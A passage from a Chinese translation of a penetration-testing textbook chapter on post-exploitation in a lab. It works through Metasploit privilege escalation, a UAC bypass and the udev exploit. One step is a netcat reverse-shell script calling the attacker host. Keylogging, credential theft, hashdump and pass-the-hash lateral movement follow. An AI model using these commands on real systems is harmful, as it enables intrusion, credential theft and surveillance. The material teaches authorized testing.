        3 : Service - Token Duplication (In Memory/Admin)

如图所示，运行没有参数的 getsystem 将运行一系列本地漏洞利用，直到某个成功或所有已知漏洞利用被耗尽。要运行特定的漏洞利用，请使用 -t 选项，后跟漏洞利用编号。

在这里，我们在 Windows XP 目标上运行没有参数的 getsystem。

meterpreter > **getsystem**
...got system (via technique 1).
meterpreter > **getuid**
Server username: NT AUTHORITY\SYSTEM

如你所见，Meterpreter 通过第一次尝试的漏洞成功获得了系统权限。通过一个命令，我们就能够将权限从georgia提升到System。

Windows 本地升级模块

Metasploit 中的本地漏洞利用模块允许你在一个打开的会话中运行漏洞利用程序，以获得额外的访问权限。示例 13-8 中的本地特权升级模块exploit/windows/local/ms11_080_afdjoinleaf利用了Afdjoinleaf函数中的一个（现已修复的）漏洞，该函数属于afd.sys Windows 驱动程序。与后期利用模块类似，使用SESSION选项来指定应该在哪个打开的会话中运行漏洞利用程序。我们将在 Windows XP 会话中运行该模块。与后期利用模块不同，本地漏洞利用程序是漏洞利用程序，因此我们需要设置一个有效载荷。如果成功，我们的漏洞利用程序将打开一个具有系统权限的新会话。在你的 Windows XP Meterpreter 会话中，运行命令rev2self将权限降回到用户georgia，然后再使用这种替代的特权升级技术。

示例 13-8. Metasploit 本地漏洞利用

msf post(enum_logged_on_users) > **use exploit/windows/local/ms11_080_afdjoinleaf**
msf exploit(ms11_080_afdjoinleaf) > **show options**

Module options (exploit/windows/local/ms11_080_afdjoinleaf):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
--*snip*--
msf exploit(ms11_080_afdjoinleaf) > **set SESSION 1**
SESSION => 1
msf exploit(ms11_080_afdjoinleaf) > **set payload windows/meterpreter/reverse_tcp**
payload => windows/meterpreter/reverse_tcp
msf exploit(ms11_080_afdjoinleaf) > **set LHOST 192.168.20.9**
LHOST => 192.168.20.9
msf exploit(ms11_080_afdjoinleaf) > **exploit**

[*] Started reverse handler on 192.168.20.9:4444
[*] Running against Windows XP SP2 / SP3
--*snip*--
[*] Writing 290 bytes at address 0x00f70000
[*] Sending stage (751104 bytes) to 192.168.20.10
[*] Restoring the original token...
[*] Meterpreter session 4 opened (192.168.20.9:4444 -> 192.168.20.10:1108) at 2015-08-14 01:59:46 -0400

meterpreter >

在输入exploit后，Metasploit 将在我们的 Windows XP 会话中运行该漏洞利用程序。如果攻击成功，你应该会收到另一个 Meterpreter 会话。如果在这个新会话中运行getuid，你应该会看到你再次获得了系统权限。

注意

请记住，要成功进行本地特权升级攻击，必须依赖于某个漏洞，如缺失的补丁或安全配置错误。一个完全更新且已加固的系统不会受到 MS11-08 漏洞的影响，因为供应商在 2011 年发布了补丁。

绕过 Windows 上的 UAC

现在让我们看看如何在更加安全的 Windows 7 目标上升级权限，Windows 7 有额外的安全特性，包括用户账户控制（UAC）。运行在 Windows Vista 及更高版本上的应用程序仅能使用普通用户权限。如果应用程序需要使用管理员权限，必须由管理员用户批准提升权限。（你可能已经见过当应用程序想要进行更改时，UAC 会发出警告通知。）

因为我们通过让用户Georgia Weidman运行恶意二进制文件获得了这个会话，所以 Meterpreter 会话当前具有 Georgia Weidman 的权限。尝试在这个目标上使用getsystem，如示例 13-9 所示。

示例 13-9. getsystem在 Windows 7 上失败

msf exploit(ms11_080_afdjoinleaf) > **sessions -i 2**
[*] Starting interaction with 2...
meterpreter > **getuid**
Server username: Book-Win7\Georgia Weidman
meterpreter > **getsystem**
[-] priv_elevate_getsystem: Operation failed: Access is denied.

如你所见，针对该目标运行getsystem失败并给出了错误信息。也许该系统已经完全打了补丁并经过加固，以至于getsystem中的任何利用技术都无法奏效。

但事实证明，我们的 Windows 7 目标自安装以来没有进行任何补丁更新；UAC 正在阻止getsystem正常工作。

和任何计算机安全控制一样，研究人员已经开发了多种技术来绕过 UAC 控制。其中一种技术包含在 Metasploit 中的本地利用模块windows/local/bypassuac。背景化会话并在你的 Windows 7 会话上运行这个利用，如示例 13-10 所示。使用这个利用模块，设置SESSION选项，等等。

示例 13-10. 使用模块绕过 UAC 控制

msf exploit(ms11_080_afdjoinleaf) > **use exploit/windows/local/bypassuac**
msf exploit(bypassuac) > **show options**

Module options (exploit/windows/local/bypassuac):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module
msf exploit(bypassuac) > **set SESSION 2**
SESSION => 2
msf exploit(bypassuac) > **exploit**

[*] Started reverse handler on 192.168.20.9:4444
[*] UAC is Enabled, checking level...
--*snip*--
[*] Uploaded the agent to the filesystem....
[*] Sending stage (751104 bytes) to 192.168.20.12
[*] Meterpreter session 5 opened (192.168.20.9:4444 -> 192.168.20.12:49265) at 2015-08-14 02:17:05 -0400
[-] Exploit failed: Rex::TimeoutError Operation timed out. ❶

meterpreter > **getuid**
Server username: Book-Win7\Georgia Weidman

该模块通过进程注入使用受信任的发布者证书绕过 UAC 控制。如你从getui``d命令的结果中看到的，尽管我们的新会话仍然以用户Georgia Weidman运行，但我们不再受到 UAC 的限制。如果攻击成功，你将再次看到一个新的会话。如果你在❶处看到这行信息，不必担心。只要新的 Meterpreter 会话打开，攻击就是成功的。

如下所示，绕过了 UAC 后，getsystem可以轻松获得系统权限。

meterpreter > **getsystem**
...got system (via technique 1).

Linux 中的 Udev 权限提升

我们还没有尝试在 Linux 目标上进行权限提升。让我们换个方式，使用公开的利用代码，而不是 Metasploit，来执行本地权限提升攻击。

我们与 Linux 目标有两种交互方式：通过 SSH 和使用 TikiWiki 获得 Meterpreter shell。Linux 的 Meterpreter 比 Windows 的 Meterpreter 可用的命令少，但在这两种情况下，我们都使用shell命令从 Meterpreter 退出并进入常规命令 shell，如示例 13-11 所示。

示例 13-11. 在 Meterpreter 中进入 shell

meterpreter > **shell**
Process 13857 created.
Channel 0 created.
**whoami**
www-data

我们看到我们的 TikiWiki 利用为我们获得了一个作为www-data用户的会话，这是一个受限的 Web 服务器账户，但我们距离 root 权限还有很长的路要走。通过 SSH，我们还作为georgia用户获得了一个 Bash shell，如第八章所示，拥有比www-data更多的权限，但我们仍然不是渴望得到的 root。

寻找漏洞

我们需要找到一个本地权限提升漏洞来进行利用。首先，我们需要一些关于本地系统的信息，比如已安装内核的版本和 Ubuntu 的版本。你可以通过命令uname -a查看 Linux 内核版本，通过命令lsb_release -a查看 Ubuntu 发布版本，如示例 13-12 所示。

示例 13-12. 收集本地信息

**uname -a**
Linux ubuntu 2.6.27-7-generic #1 SMP Fri Oct 24 06:42:44 UTC 2008 i686 GNU/Linux
**lsb_release -a**
Distributor ID: Ubuntu
Description: Ubuntu 8.10
Release: 8.10
Codename: intrepid

目标 Linux 系统运行的是 Linux 内核 2.6.27-2 和 Ubuntu 8.10，代号 Intrepid。这个 Linux 系统有些过时，且存在多个已知的权限提升问题。我们将重点关注 udev 中的问题，它是负责加载设备驱动程序或促进设备控制的软件的 Linux 内核设备管理器。

漏洞 CVE-2009-1185 描述了 udev 中的问题，udev 守护进程以 root 权限运行，但未检查加载驱动程序的请求是否来自内核。用户空间中的进程（例如用户启动的进程）可以向 udev 发送消息，并说服它以 root 权限运行代码。

根据 SecurityFocus.com 上关于这个漏洞的条目，Ubuntu 8.10 是受影响的平台，进一步调查表明 udev 版本 141 及更早版本存在此问题。我们可以通过命令 udevadm --version 检查目标系统上的 udev 版本，但我们不能以 www-data 权限运行此命令。相反，我们需要从 SSH shell 中运行该命令，如下所示。

georgia@ubuntu:~$ **udevadm --version**
124

我们目标系统上的 udev 版本是 124，低于 141，这告诉我们我们的 Linux 目标系统存在漏洞。

寻找漏洞

Kali Linux 包含来自 Exploitdb.com 的本地公开漏洞代码库，路径为 /usr/share/exploitdb，其中包含一个名为 searchsploit 的工具，我们可以用它来搜索有用的代码。例如，示例 13-13 显示了与 udev 相关的漏洞利用搜索结果。

示例 13-13. 搜索 Exploitdb 仓库

root@kali:~# /usr/share/exploitdb/searchsploit udev
 Description                                                           Path
---------------------------------------------------------------------- ----------------------
Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit               /linux/local/8478.sh
Linux Kernel 2.6 UDEV < 141 Local Privilege Escalation Exploit         /linux/local/8572.c
Linux udev Netlink Local Privilege Escalation                          /linux/local/21848.rb

似乎有多个公开的漏洞利用代码可供使用。我们使用第二个漏洞利用，/usr/share/exploitdb/platforms/linux/local/8572.c。

注意

在运行公开漏洞代码针对目标之前，请务必确保完全理解其功能。此外，总是有可能公开的漏洞利用代码在目标系统上无法可靠运行。如果可能，搭建一个实验室机器，并在尝试在客户端目标上运行之前，先测试漏洞利用的质量。

这个漏洞利用的一个优点是它有详细的注释，并提供了使用信息。示例 13-14 显示了它的 C 代码摘录，其中包括使用细节。

示例 13-14. udev 漏洞利用使用信息

* Usage:
*   Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,
*   usually is the udevd PID minus 1) as argv[1].
*   The exploit will execute /tmp/run as root so throw whatever payload you
*   want in there.

我们了解到需要将 udev netlink 套接字的 PID 作为参数传递给漏洞利用代码。使用信息告诉我们在 /proc/net/netlink 中查找此值，通常是 udev 的 PID 减 1。我们还看到漏洞利用代码会以 root 权限运行它在文件 /tmp/run 中找到的任何代码，因此我们需要将一些代码放在那里。

在目标系统上复制并编译漏洞利用

首先，我们需要将漏洞代码复制到目标系统并进行编译，以便它能够运行。幸运的是，GCC C 编译器在大多数 Linux 发行版中是预安装的，因此你通常可以直接在目标上编译本地漏洞代码。要检查 GCC 是否已安装，可以输入gcc，如这里所示。

georgia@ubuntu:~$ **gcc**
gcc: no input files

如你所见，GCC 报告它没有收到任何输入，但这也告诉我们 GCC 已经安装好了。接下来是将我们的漏洞代码复制到 Linux 目标系统。Linux 的 wget 命令可以让我们通过命令行从 web 服务器下载文件，所以我们将 C 代码复制到 Kali Linux web 服务器，如这里所示。确保在 Kali 中运行 apache2 web 服务器。

root@kali:~# cp /usr/share/exploitdb/platforms/linux/local/8572.c /var/www

现在切换到你的 SSH shell，并使用 wget 下载文件，如示例 13-15 中所示。

示例 13-15。使用 wget 下载文件

georgia@ubuntu:~$ **wget http://192.168.20.9/8572.c**
--2015-08-14 14:30:51--  http://192.168.20.9/8572.c
Connecting to 10.0.1.24:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2768 (2.7K) [text/x-csrc]
Saving to: `8572.c'

100%[======================================>] 2,768       --.-K/s   in 0s

2015-08-14 14:30:52 (271 MB/s) - `8572.c' saved [2768/2768]

现在按照这里所示，使用 GCC 在 Linux 目标上编译漏洞代码。使用-o标志指定编译代码的输出文件名。

georgia@ubuntu:~$ **gcc -o exploit 8572.c**

现在来查找漏洞使用信息中提到的 udev netlink 套接字 PID（示例 13-14）作为参数。使用信息中指出我们需要的 PID 列在 /proc/net/netlink 中。使用 cat 命令查看该文件，如示例 13-16 中所示。

示例 13-16。/proc/net/netlink 文件

georgia@ubuntu:~$ **cat /proc/net/netlink**
sk       Eth Pid     Groups   Rmem     Wmem     Dump     Locks
f7a90e00 0   5574    00000111 0        0        00000000 2
da714400 0   6476    00000001 0        0        00000000 2
da714c00 0   4200780 00000000 0        0        00000000 2
--*snip*--
f7842e00 15  2468    00000001 0        0        00000000 2
f75d5c00 16  0       00000000 0        0        00000000 2
f780f600 18  0       00000000 0        0        00000000 2

列出的 PID 不止一个，但我们知道我们需要的 PID 通常是 udev 守护进程的 PID 减去 1。通过 ps aux 命令查看 udev 进程，如这里所示。

georgia@ubuntu:~$ **ps aux | grep udev**
root      2469  0.0  0.0   2452   980 ?        S<s  02:27   0:00 /sbin/udevd --daemon
georgia   3751  0.0  0.0   3236   792 pts/1    S+   14:36   0:00 grep udev

udev 守护进程的 PID 是 2469。来自示例 13-16 的一个 PID 是 2468（即 udev 的 PID 减去 1）。根据漏洞的帮助信息，这是我们需要的值。这个值在 Ubuntu 目标系统重启后会发生变化，因此请确保在自己的实验室中运行这些命令，以找到正确的值。

向 /tmp/run 文件中添加代码

我们需要做的最后一件事是一些代码，以便作为 root 在文件 /tmp/run 中运行。幸运的是，Ubuntu 系统上默认也安装了 Netcat，因此我们可以创建一个简单的 Bash 脚本，连接回 Kali 系统上的监听器，正如第二章中所讨论的。以下是该脚本。

georgia@ubuntu:~$ **cat /tmp/run**
#!/bin/bash
nc 192.168.20.9 12345 -e /bin/bash

在运行我们的漏洞代码之前，我们需要在 Kali 系统上设置一个监听器，以捕获传入的 Netcat shell。

root@kali:~# nc -lvp 12345
listening on [any] 12345 ...

最后，我们准备运行我们编译的漏洞代码了。记得将之前找到的 udev netlink 套接字的 PID 作为参数传递。

georgia@ubuntu:~$ **./exploit 2468**

Linux 目标系统似乎没有任何反应，但如果你回到 Kali 上的 Netcat 监听器，我们已经建立了连接。whoami命令告诉我们现在我们拥有 root 权限，如示例 13-17 所示。

示例 13-17. 获取 root 权限

root@kali:~# nc -lvp 12345
listening on [any] 12345 ...
192.168.20.11: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.20.9] from (UNKNOWN) [192.168.20.11] 33191
**whoami**
root

我们已经成功地使用公开漏洞提升了权限。

本地信息收集

一旦我们获得了对系统的访问权限，就应该检查是否存在任何潜在的敏感信息，如存储明文密码或使用弱哈希算法的安装软件、专有数据或源代码、客户的信用卡信息，或者是 CEO 的电子邮件账户。这些都是可以在最终报告中呈现给客户的有用信息。此外，我们找到的任何信息可能有助于我们突破网络中其他系统的防线，从而获取更多的收益。

我们稍后会在本章中讨论如何从一个系统迁移到另一个系统，但现在让我们先看看几种在本地系统上查找信息的有趣方法。

查找文件

我们可以让 Meterpreter 搜索有趣的文件。例如，在示例 13-18 中，我告诉 Meterpreter 查找任何包含password的文件名。

示例 13-18. 使用 Meterpreter 查找文件

meterpreter > **search -f *password***
Found 8 results...
    c:\\WINDOWS\Help\password.chm (21891 bytes)
    c:\\xampp\passwords.txt (362 bytes)
    c:\\xampp\php\PEAR\Zend\Dojo\Form\Element\PasswordTextBox.php (1446 bytes)
    c:\\xampp\php\PEAR\Zend\Dojo\View\Helper\PasswordTextBox.php (1869 bytes)
    c:\\xampp\php\PEAR\Zend\Form\Element\Password.php (2383 bytes)
    c:\\xampp\php\PEAR\Zend\View\Helper\FormPassword.php (2942 bytes)
    c:\\xampp\phpMyAdmin\user_password.php (4622 bytes)
    c:\\xampp\phpMyAdmin\libraries\display_change_password.lib.php (3467 bytes)

键盘记录

另一种收集信息的方法是让登录的用户主动提供信息。Meterpreter 有一个键盘记录器，我们可以用它来监听按键。也许用户在我们 Meterpreter 会话活跃期间正在登录网站或网络上的其他系统。通过输入keyscan_start，在 Windows XP 的 Meterpreter 会话中启动键盘记录器，如图所示。

meterpreter > **keyscan_start**
Starting the keystroke sniffer...

注意

你只会在当前的上下文中捕获按键。在我的示例中，我使用的是原始的 Windows XP 会话，在该会话中我是georgia用户，正在使用explorer.exe进程，因此可以嗅探georgia的按键。另一个有趣的想法是迁移到 winlogon 进程，在那里你只会看到键入的登录信息——这无疑是有用的信息。

现在切换到 Windows XP，输入一些内容。在我的示例中，我按 CTRL-R 打开运行对话框。然后我输入notepad.exe启动记事本程序，并在记事本中输入hi georgia。

要查看键盘记录器记录的任何按键，请输入keyscan_dump，如图所示。如你所见，我输入的所有按键都已被记录。

meterpreter > **keyscan_dump**
Dumping captured keystrokes...
 <LWin> notepad.exe <Return> hi georgia <Return>

要停止键盘记录器，请在 Meterpreter 中输入keyscan_stop，如图所示。

meterpreter > **keyscan_stop**
Stopping the keystroke sniffer...

收集凭据

在第九章中，我们处理了来自 Windows、Linux 和 FileZilla FTP 服务器的密码哈希，但用户可能在本地系统上存储了其他凭证。Metasploit 有几个后置模块，用于收集特定软件的密码，位于 /usr/share/metasploit-framework/modules/post/windows/gather/credentials。在我们的示例中，我们将查看从 WinSCP 中窃取保存的凭证，WinSCP 是一个 Windows 上的安全复制工具。

如图 13-1 所示，打开 WinSCP，设置文件协议为 SCP，主机名为 Ubuntu 目标的 IP 地址，凭证为 georgia:password。点击登录信息下的另存为。

图 13-1. 使用 WinSCP 连接

注意

与本书中使用的一些其他工具一样，WinSCP 的 GUI 可能会在未来更新，因此你所使用的版本可能与此略有不同。

系统会提示输入会话名称，如图 13-2 所示。在点击确定之前，请勾选保存密码框。即使是 WinSCP 也警告你保存密码是一个不好的主意。

图 13-2. 在 WinSCP 中保存凭证

现在切换回 Kali Linux，使用模块 post/windows/gather/credentials/winscp，如示例 13-19 所示。由于这是一个后置模块，你唯一需要提供的选项是 Windows XP 会话的 ID。

示例 13-19. 从 WinSCP 中窃取保存的凭证

msf > **use post/windows/gather/credentials/winscp**
msf  post(winscp) > **show options**

Module options (post/windows/gather/credentials/winscp):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

msf  post(winscp) > **set session 1**
session => 1
msf  post(winscp) > **exploit**
[*] Looking for WinSCP.ini file storage...
[*] WinSCP.ini file NOT found...
[*] Looking for Registry Storage...
[*] Host: 192.168.20.9  Port: 22 Protocol: SSH  Username: georgia  Password: password ❶
[*] Done!
[*] Post module execution completed

如示例 13-19 所示，该模块发现了我们保存的凭证 ❶。根据你的渗透测试目标运行的软件，可能会有其他凭证收集目标在实际操作中派上用场。

net 命令

Windows net 命令允许我们查看和编辑网络信息。通过使用不同的选项，我们可以获取有价值的信息。可以通过 Meterpreter 命令 shell 进入 Windows 命令行，如此处所示。

meterpreter > **shell**
--*snip*--
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Windows\system32>

命令 net users 会显示所有本地用户。若在此命令及许多 net 命令的末尾加上 /domain，则会显示关于域的信息，而非本地系统的信息，但由于我们的目标没有加入域，因此我们将继续使用 net users。

C:\Windows\system32> **net users**
net users
User accounts for \\
------------------------------------------------------------------------------
Administrator           georgia           secret           Guest

我们还可以通过命令 net localgroup group 查看某个组的成员，如示例 13-20 所示。

示例 13-20. 使用 net 命令查看本地管理员

C:\Windows\system32> **net localgroup Administrators**
net localgroup Administrators
Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain
Members
-----------------------------------------------------------------------------------------------
Administrator
georgia
secret
The command completed successfully.

要退出 Shell 并返回 Meterpreter，输入exit。

这些只是一些有用的net命令示例。我们稍后将在本章中探讨如何使用net命令添加用户。

另一种进入方式

在第五章中，我们使用 Nmap 进行了一次 UDP 扫描。根据定义，UDP 扫描不像 TCP 扫描那样精确。例如，Windows XP 目标机器上的 69 号端口/UDP，传统上用于 TFTP，在我们的 UDP Nmap 扫描中返回了open|filtered。因为我们的扫描没有收到任何响应，因此不清楚是否有任何程序在该端口上监听。除非进行 TFTP 服务器的模糊测试并可能使其崩溃，否则很难确定是否有 TFTP 软件在运行，或者究竟是哪个 TFTP 软件在运行。现在我们已经获得了系统的访问权限，可以进一步调查正在运行的软件，看是否有我们遗漏的漏洞。

注意

在本章早些时候，我们使用 Meterpreter 的ps命令查看了 Windows XP 目标机器上所有正在运行的进程。其中一个进程是 3CTftpSvc.exe，这是 3Com TFTP 服务的旧版本，容易受到 TFTP 长传输模式中的缓冲区溢出漏洞的影响。（我们将在第十九章手动编写一个针对这个问题的利用代码，但这个问题也有对应的 Metasploit 模块。）虽然攻击者远程识别这个问题会比较困难，但软件仍然存在漏洞，我们应该将其纳入我们的渗透测试报告中。

可能是直到你获得系统访问权限后，才会发现面向网络的漏洞。如果不向服务器发送随机的 TFTP 输入并分析结果，我们很难找到这个问题。

检查 Bash 历史记录

在 Linux 系统中，寻找潜在有趣的信息的一个地方是用户的 Bash 历史记录。当 Bash Shell 关闭时，执行过的命令会写入一个名为.bash_history的文件，该文件位于用户的主目录中。这里展示了一个或许有些牵强的例子，其中用户的密码以明文形式保存在 Bash 历史文件中。

georgia@ubuntu:~$ **cat .bash_history**
my password is password
--*snip*--

横向移动

一旦我们访问了网络环境中的一个系统，我们是否可以利用它访问更多的系统及其敏感数据？如果我们被利用的系统属于一个域，我们当然可以尝试破解域账户，或者最好获取域管理员权限，这样我们就能登录并管理域中的所有系统。

即使你无法控制域，你仍然可能能够访问该域中的系统，如果这些系统都是通过相同的系统安装镜像安装的，且使用的本地管理员密码从未更改过。如果我们能破解一台机器的密码，我们也许能在没有域访问权限的情况下登录到环境中的许多机器。此外，如果一个用户在多个系统上都有帐户，他或她可能会在每个系统上使用相同的密码，这可能允许我们使用在其他地方找到的凭据登录。（良好的密码策略有助于防止这些漏洞，但即便在高安全性环境中，密码往往是最薄弱的环节。）

让我们看一下几种将对一个系统的访问转化为对多个系统访问的技巧。

PSExec

PSExec 技术起源于 1990 年代末的 Sysinternals Windows 管理工具集。该工具通过使用有效的凭据连接到 Windows XP SMB 服务器上的 ADMIN$共享来工作。PSExec 将一个 Windows 服务可执行文件上传到 ADMIN$共享，然后通过远程过程调用（RPC）连接到 Windows 服务控制管理器，启动可执行服务。该服务随后设置一个名为pipe的 SMB 管道，用于发送命令并远程控制目标系统。

Metasploit 模块exploit/windows/smb/psexec实现了一个非常类似的技术。该模块需要目标上运行的 SMB 服务器和可用于访问 ADMIN$共享的凭据。

在第九章中，我们破解了 Windows XP 目标上用户的密码哈希值。你可能能想象使用找到的凭据和 PSExec 来访问更多系统。使用凭据georgia:password与 PSExec 模块，如示例 13-21 所示。

示例 13-21。使用 PSExec 模块

msf > **use exploit/windows/smb/psexec**
msf exploit(psexec) > **show options**

Module options (exploit/windows/smb/psexec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOST                       yes       The target address
   RPORT      445              yes       Set the SMB service port
   SHARE      ADMIN$           yes       The share to connect to, can be an admin share
                                           (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain  WORKGROUP        no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as

msf exploit(psexec) > **set RHOST 192.168.20.10**
RHOST => 10.0.1.13
msf exploit(psexec) > **set SMBUser georgia**❶
SMBUser => georgia
msf exploit(psexec) > **set SMBPass password**❷
SMBPass => password
msf exploit(psexec) > **exploit**
[*] Started reverse handler on 192.168.20.9:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.20.10:445|WORKGROUP as user 'georgia'...
[*] Uploading payload...
[*] Created \KoMknErc.exe...
--*snip*--
[*] Meterpreter session 6 opened (192.168.20.9:4444 -> 192.168.20.10:1173) at 2015-08-14 14:13:40 -0400

除了RHOST，我们还需要告诉模块使用哪个 SMBDomain、SMBUser 和 SMBPass。我们的 Windows XP 目标不是域成员，因此我们可以将 SMBDomain 选项保持为默认值WORKGROUP。

将 SMBUser 设置为georgia ❶，SMBPass 设置为password ❷，这是我们发现的凭据。然后运行利用模块。该模块将选定的有效载荷（在本例中是默认的windows/meterpreter/reverse_tcp）嵌入到 Windows 服务可执行文件中。上传可执行文件并联系 Windows 服务控制管理器后，服务将 Shellcode 复制到服务进程的可执行内存中，并将执行重定向到有效载荷。这样，我们的有效载荷就会运行，并连接回我们在 Kali 上的 Metasploit 监听器。尽管我们以用户georgia身份登录，但由于我们的有效载荷作为系统服务运行，我们的会话会自动获得系统权限。

注意

这就是我们在第一章中修改 Windows XP 安全策略的原因。如果 Windows XP 是域成员，我们可以填写 SMBDomain 选项，并使用 PSExec 在域用户是本地管理员的任何系统上获得系统访问权限。这是一个很好的方法，可以在网络中寻找有趣的信息、额外的密码哈希以及更多的漏洞。

Pass the Hash

我们之前的攻击依赖于能够反向破解密码哈希并获取用户账户的明文密码。当然，在我们的 Windows XP 目标系统中，这非常简单，因为它使用的是完全可以破解的 LM 哈希算法。

在第九章中，我们了解到，当我们只有密码的 NTLM 用户身份验证哈希，而没有较弱的 LM 版本时，我们反向破解哈希的能力取决于密码的弱点、我们词表的强度，甚至取决于密码破解程序使用的算法。如果我们无法反向破解密码哈希，那我们将很难使用明文凭证登录其他系统。

PSExec 再次派上了用场。当用户通过 SMB 登录时，他或她的密码不会以明文形式发送到目标系统。相反，目标系统会发出一个挑战，只有拥有正确密码的人才能回答。在这种情况下，挑战的答案是 LM 或 NTLM 哈希密码，这取决于具体实现。

当你登录到远程系统时，你的 Windows 应用程序会调用一个工具来对密码进行哈希处理，然后将该哈希发送到远程系统进行身份验证。远程系统假设，如果你发送了正确的哈希，那么你一定可以访问到正确的明文密码——毕竟，这正是一种单向哈希函数的基本原理。你能想到一个场景，在这种情况下你可能只能访问密码哈希，而无法获取明文密码吗？

在第九章中，我们成功地反向破解了目标系统上的所有密码哈希。此外，在我们的 Windows XP 目标上，不管密码的强度如何，我们都能够反向破解 LM 哈希。但是，让我们模拟一个只有密码哈希的情况，如示例 13-22 中通过 Meterpreter hashdump 命令展示的那样。

示例 13-22. 使用 hashdump

meterpreter > **hashdump**
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
georgia:1003:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:93880b42019f250cd197b67718ac9a3d:86da9cefbdedaf62b66d9b2fe8816c1f:::
secret:1004:e52cac67419a9a22e1c7c53891cb0efa:9bff06fe611486579fb74037890fda96:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:6f552ba8b5c6198ba826d459344ceb14:::

注意

当你在较新的 Windows 操作系统上使用 hashdump Meterpreter 命令时，可能会发现它无法成功。一个替代方案是使用 post 模块：post/windows/gather/hashdump。还有一个 post/windows/gather/smart_hashdump，它不仅可以收集本地哈希，还可以收集活动目录哈希，前提是你已经利用了域控制器。因此，如果你在渗透测试中第一次未能成功提取密码哈希，不妨尝试其他选项。

让我们使用 Metasploit 的 PSExec 模块，利用 SMB 认证的方式和一种叫做 Pass the Hash 的技术。我们不需要将 SMBPass 选项设置为 georgia 的密码，而是将 georgia 的 LM 和 NTLM 哈希从示例 13-23 中的 hashdump 复制到 SMBPass 选项中。

示例 13-23. PSExec Pass the Hash

msf exploit(psexec) > **set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c**
SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > **exploit**
--*snip*--
[*] Meterpreter session 7 opened (192.168.20.9:4444 -> 192.168.20.10:1233) at 2015-08-14 14:17:47 -0400

我们再次能够使用 PSExec 获取 Meterpreter 会话。即使不知道明文密码，仅凭密码哈希也足以通过 PSExec 获得访问其他系统的权限。

SSHExec

就像 Windows 的 PSExec 一样，如果我们拥有一组有效的凭据，SSHExec 可以帮助我们在环境的 Linux 系统中移动，这些凭据可能在环境的其他地方也能使用。示例 13-24 中展示了 Metasploit 模块 multi/ssh/sshexec 及其选项。

示例 13-24. 使用 SSHExec

msf > **use exploit/multi/ssh/sshexec**
msf exploit(sshexec) > **show options**

Module options (exploit/multi/ssh/sshexec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   yes       The password to authenticate with.
   RHOST                      yes       The target address
   RPORT     22               yes       The target port
   USERNAME  root             yes       The user to authenticate as.
--*snip*--
msf exploit(sshexec) > **set RHOST 192.168.20.11**
RHOST => 192.168.20.11
msf exploit(sshexec) > **set USERNAME georgia**❶
USERNAME => georgia
msf exploit(sshexec) > **set PASSWORD password**❷
PASSWORD => password
msf exploit(sshexec) > **show payloads**
--*snip*--
linux/x86/meterpreter/reverse_tcp    normal  Linux Meterpreter, Reverse TCP Stager
--*snip*--
msf exploit(sshexec) > **set payload linux/x86/meterpreter/reverse_tcp**
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(sshexec) > **set LHOST 192.168.20.9**
LHOST => 192.168.20.9
msf exploit(sshexec) > **exploit**

[*] Started reverse handler on 192.168.20.9:4444
--*snip*--
[*] Meterpreter session 10 opened (192.168.20.9:4444 -> 192.168.20.11:36154) at 2015-03-25 13:43:26 -0400
meterpreter > **getuid**
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000
meterpreter > shell
Process 21880 created.
Channel 1 created.
**whoami**
georgia

在这个例子中，我们知道凭据 georgia:password，因为我们在第九章中破解过它们。虽然在这种情况下我们只是再次登录同一主机（类似于我们在 PSExec 中所做的），但我们也可以将这一技术应用于该环境中其他有 georgia 账户的主机。

与 PSExec 一样，我们需要有效的凭据才能进行身份验证。我们将 USERNAME 设置为 georgia ❶，PASSWORD 设置为 password ❷，然后选择 linux/x86/meterpreter/reverse_tcp 作为有效载荷。

与 PSExec（它上传一个二进制文件并将其作为系统服务运行，从而自动赋予我们系统权限）不同，使用 SSHExec 时我们仍然是用户georgia。你可以看到这个漏洞利用如何成为在环境中快速移动，寻找其他 Linux 系统的附加信息和漏洞的有效方式。

令牌冒充

现在我们知道，甚至可能不需要明文密码就能访问其他系统，那有没有可能我们根本不需要密码哈希呢？

一个有趣的 Windows 安全构造是令牌的概念。令牌主要用于访问控制。根据进程的令牌，操作系统可以决定哪些资源和操作应该对其开放。

可以将令牌看作是一种临时的密钥，允许你在不需要每次输入密码的情况下访问某些资源，尤其是执行特权操作时。当用户通过控制台或远程桌面等交互方式登录系统时，会创建一个 委派令牌。

委派令牌允许进程在本地系统以及网络中冒充令牌，例如在域中的其他系统上。委派令牌包含凭据，可用于与其他使用这些凭据的系统进行身份验证，如域控制器。令牌会一直存在，直到重启，即使用户注销，令牌仍然会保留在系统中，直到系统关闭。如果我们能够窃取系统中的另一个令牌，我们可能会获得额外的权限，甚至访问更多系统。

Incognito

